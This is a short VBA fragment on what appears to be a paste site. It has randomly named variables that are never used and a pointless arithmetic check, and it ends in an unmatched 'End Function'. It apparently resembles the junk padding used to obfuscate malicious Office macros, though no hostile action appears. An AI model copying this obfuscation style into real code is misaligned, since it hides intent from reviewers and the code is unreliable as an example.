- Dim Nfu407NEDEDa49153vjitYBlBdr32ND68043 As String
- Dim O82r7FHVSrRriEmv2auWo37yG8JF569 As Integer
- Dim nAE2hnbNE1FZC73875J1RNz710u12833o2so As String
- Dim FG7IC94Mz4w82jB2P876918NE9Lkqx81B As String
- Dim XAhD2684zXez7kVEJj7vqT7WVReueM3361B7C8C3l As Integer
- Dim IrkjTEarZNyADBDC8F4FEbVfyNA6641fLsI36wR As Long
- Dim e54ZQBE481Adcr2Q8K07883pJdDeCxr506 As Boolean
- e38v3FtB531rIC1v = 187
- y21691FIcD7XhlC3G88tsTEQ67bMG61TH8o = 2000
- If e38v3FtB531rIC1v + y21691FIcD7XhlC3G88tsTEQ67bMG61TH8o = 2187 Then
- Z75evIDAEobk1C16FuDNi29582364908644Dcx = 100
- End If
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement